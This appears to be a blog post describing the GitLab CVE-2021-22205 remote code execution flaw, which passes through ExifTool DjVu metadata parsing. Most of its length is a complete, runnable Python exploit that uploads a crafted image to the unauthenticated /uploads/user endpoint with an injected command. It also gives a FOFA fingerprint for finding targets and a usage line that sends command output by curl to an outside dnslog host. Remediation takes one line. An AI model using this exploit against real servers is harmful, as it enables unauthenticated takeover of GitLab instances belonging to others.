Gitlab remote command execution RCE vulnerability CVE-2021-22205 with exp

0x01 Vulnerability Introduction & Principle

GitLab is an open source project for warehouse management system developed by GitLab Inc., and a Git project management platform developed by Ruby. Because the image processing tool ExifTool is used in GitLab after 11.9, and this image processing tool is affected by the vulnerability CVE-2021-22204:

The vulnerability triggers the ExifTool function. ExifTool is an open source tool used to remove metadata from images. When parsing the metadata in uploaded images, some metadata is not fully parsed, causing attackers to upload files with malicious metadata. image, resulting in remote command execution.

An attacker can upload a maliciously constructed picture through an unauthorized interface, which will cause the vulnerability to perform RCE without authentication

0x02 affects the version

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

0x03 vulnerability detection

home page

http://127.0.0.1/users/sign_in

image-20211031101923873

FOFA指纹:title="GitLab"

Paste the EXP code at the end and run it directly

python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"

I use DNSlog detection, and the pure intranet environment can also bounce back to my own http service test

image-20211031134306084

0x04 Repair suggestion

  • upgrade to latest version
  • Official link:
https://about.gitlab.com/update/

EXP code

import sys
import requests
import argparse
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def title():
    print('''
        GitLab < 13.10.3 RCE
        python3 CVE-2021-22205.py -u target_url -c command 
        ''')    

def exp(target_url,command):
    session = requests.Session()
    try:
        req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req_token.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+  command +"} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
    
    
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{
      
      token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req_exp.text:
            print("{} 存在漏洞,CMD执行成功".format(target_url))
        else:
            print("{} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)

def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL.error{0}'.format(url))    

def run():
    title()
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='url')
    parser.add_argument('-c', '--command', type=str, help='cmd')
    args = parser.parse_args()
    target_url = args.url
    command = args.command

    if target_url != None and command != None:
        exp(target_url,command)
    else:
        sys.exit(0)   

if __name__ == '__main__':
    run()

Guess you like

Origin blog.csdn.net/god_zzZ/article/details/121063779